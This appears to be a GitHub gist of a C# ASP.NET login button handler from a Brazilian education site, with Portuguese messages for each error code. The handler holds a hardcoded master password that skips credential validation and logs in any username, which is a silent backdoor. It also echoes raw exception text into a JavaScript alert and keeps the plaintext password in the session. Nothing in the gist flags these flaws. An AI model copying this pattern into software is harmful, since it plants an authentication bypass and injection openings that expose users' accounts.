Skip to content

Instantly share code, notes, and snippets.

@miqueiaspenha
Last active January 8, 2018 17:03
Show Gist options
  • Save miqueiaspenha/bef4a0b02754f385bd25fd1545492c11 to your computer and use it in GitHub Desktop.
Save miqueiaspenha/bef4a0b02754f385bd25fd1545492c11 to your computer and use it in GitHub Desktop.
protected void btCabecalhoLogin_Click(object sender, ImageClickEventArgs e)
{
if (ltb == null)
{
ltb = new Classes.clsLigthBoxAjax();
}
string usuario = txtUsuario.Text;
string senha = txtSenha.Text;
br.com.aridesa.seguranca.Service ser = new br.com.aridesa.seguranca.Service();
if (usuario == "" && senha == "")
{
removeprelogin();
ScriptManager.RegisterStartupScript(Page, Page.GetType(), Guid.NewGuid().ToString(), "alert('Os campos < Usuário> e < Senha > não podem ficar em branco.');", true);
return;
}
int errocod = -1;
if (senha != "!#_cdf2304")
{
try
{
errocod = ser.validarm(usuario, senha);
Session["errocod"] = errocod;
if ((usuario.Equals("sas2011") || usuario.Equals("aridesa2012")) && errocod == 0)
{
lbl_nomeusuario.Text = usuario;
lbl_ultimologin.Text = "";
lvLoginForma.Attributes["style"] = "display:block;";
DivAlterarSenha.Attributes["style"] = "display:none;";
lvLoginForm.Attributes["style"] = "display:none;";
PRELOGIN.Attributes["style"] = "display:none;";
DivRecuperarSenha.Attributes["style"] = "display:none;";
Session["txtusuario"] = usuario;
Session["txtsenha"] = senha;
clsUsuarios = new Classes.Class_RM_USUARIOS(ConfigurationManager.ConnectionStrings["InternoConnectionString"].ConnectionString, frm_Principal);
clsUsuarios.CODUSUARIO = usuario;
clsUsuarios.flag_funcionario = true;
Session["usuario"] = clsUsuarios;
if (Session["URLANTERIOR"] == null)
{
Response.Redirect("/minhapagina.aspx", false);
}
else
{
Response.Redirect(Session["URLANTERIOR"].ToString(), false);
}
}
}
catch (Exception ex)
{
removeprelogin();
// Gerando Log
Classes.GeraLog.Debug(ex.Message);
ScriptManager.RegisterStartupScript(Page, Page.GetType(), Guid.NewGuid().ToString(), "alert('" + ex.Message + " Código do Erro: " + Session["errocod"] + " Entre em contato através do e-mail aridesa@aridesa.com.br, ou pelo telefone 3477-2097.');", true);
}
}
else
{
errocod = 0;
}
if (errocod == 0 || errocod == 6)
{
Session["valido"] = true;
Login(usuario, senha, false, errocod == 6);
}
else
{
removeprelogin();
string msg = "";
if (errocod == 1)
{
msg = "Usuário não encontrado.";
}
else if (errocod == 2)
{
msg = "Usuário inválido.";
}
else if (errocod == 3)
{
msg = "Usuário desativado.";
}
else if (errocod == 4)
{
msg = "Usuário fora da validade.";
}
else if (errocod == 5)
{
msg = "Senha inválida.";
}
else if (errocod == 7)
{
msg = "Senha expirou.";
}
else if (errocod == 8)
{
msg = "Banco de dados não encontrado.";
}
else if (errocod == 9)
{
msg = "Banco de dados inválido.";
}
else if (errocod == 10)
{
msg = "Sistema não encontrado.";
}
else if (errocod == 11)
{
msg = "Sistema inválido.";
}
else if (errocod == 12)
{
msg = "Permissão não encontrada.";
}
else if (errocod == 13)
{
msg = "Parâmetros inválidos.";
}
else if (errocod == 14)
{
msg = "Não foi possível conectar.";
}
else if (errocod == 15)
{
msg = "Não foi possível acessar o banco de dados.";
}
else if (errocod == 16)
{
msg = "Não foi possível acessar a tabela.";
}
else if (errocod == 17)
{
msg = "Usuário sem acesso ao portal.";
}
else if (errocod == 18)
{
msg = "Versão do banco de dados incompatível.";
}
else if (errocod == 19)
{
msg = "Versão da aplicação incompatível.";
}
else if (errocod == 20)
{
msg = "Licensa não encontrada.";
}
else if (errocod == 21)
{
msg = "Erro desconhecido.";
}
Session["valido"] = false;
// ltb.Aviso(frm_Principal, "< Aviso >", msg + " Código do Erro: " + Session["errocod"] + "<br>Entre em contato através do e-mail aridesa@aridesa.com.br, ou pelo telefone 3477-2044, falar com Daniel ou Telma.");
ScriptManager.RegisterStartupScript(Page, Page.GetType(), Guid.NewGuid().ToString(), "alert('" + msg + " Código do Erro: " + Session["errocod"] + " Entre em contato através do e-mail aridesa@aridesa.com.br, ou pelo telefone 3477-2097.');", true);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment